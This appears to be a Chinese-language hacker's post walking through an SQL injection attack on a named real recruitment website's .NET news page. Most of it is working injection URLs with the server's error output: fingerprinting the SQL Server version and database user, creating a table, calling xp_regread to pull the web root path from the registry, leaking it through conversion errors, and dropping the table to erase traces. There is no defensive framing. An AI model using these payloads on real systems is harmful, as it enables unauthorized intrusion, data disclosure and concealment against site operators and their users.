今天上了一個人才招聘網站,對他們的招聘系統我很感興趣,aspx結尾的,看來是.net的程序,這樣的網站會不會有什么漏洞呢?順便打開一條消息 http://www.cnwill.com/NewsShow.aspx?id=4847 ,然后加一個' 看看出現什么?我暈。。
Source: .Net SqlClient Data Provider
Description: 字符串 '' 之前有未閉合的引號。
TargeSite: System.Data.SqlClient.SqlDataReader ExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean)
似乎有可能,然后 1=1 正常 1=2出錯。。這和asp的似乎沒有區別阿。。于是把NBSI掛上了,竟然也可以猜出表名來,和ASP沒區別。不過NBSI不認識這里的出錯信息,只能按照沒有提示的方式破。。先暫停一下NBSI,輸入
http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>(select%20@@version)--
提示:
Source: .Net SqlClient Data Provider
Description: 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。
TargeSite: Boolean Read()
是個2000的Enterprise server而且SP4了。。然后
_name">http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>user_name()
提示:
Source: .Net SqlClient Data Provider
Description: 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。
TargeSite: Boolean Read()
哦?用dbo的身份連接?應該有搞頭。。
首先按照破解ASP網站的方法,要他的絕對路徑用以下,第一步建立一個表:
http://www.cnwill.com/NewsShow.aspx?id=4844;create%20table%20[dbo].[cyfd]([gyfd][char](255))--
把web路徑寫進去
http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
還是讓他不匹配,顯示錯誤
http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
得到提示:
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:\Web\煙臺人才熱線后臺管理系統,,201 ' 轉換為數據類型為 int 的列時發生語法錯誤。
TargeSite: Boolean Read()
哈哈哈。。路徑暴露了。。
接下來刪除痕跡
http://www.cnwill.com/NewsShow.aspx?id=4844;drop%20table%20cyfd;--
后邊該怎么做就不多說了。。和攻擊ASP的網站一樣。。


